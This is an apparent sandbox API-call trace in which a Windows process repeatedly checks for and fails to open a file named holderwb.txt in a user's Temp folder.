	[0099.115] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.115] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.115] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.116] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.116] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.116] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.116] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.116] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.117] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.117] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.117] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.117] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.118] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.118] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.118] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.118] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.119] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.119] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.119] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.119] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.119] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.119] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.120] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.120] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.120] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.120] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.120] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.120] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.120] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.232] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.232] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.232] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.232] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.232] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.232] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.232] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.233] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.233] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.233] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.234] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.234] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.234] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.235] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.235] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.235] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.235] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.235] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.235] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.235] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.236] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.236] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.236] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.236] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.236] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.236] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.236] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.237] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.237] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.237] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.237] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.237] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.238] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.238] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.238] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.239] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.239] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.239] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.239] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.239] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.239] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.240] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.240] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.240] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.240] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
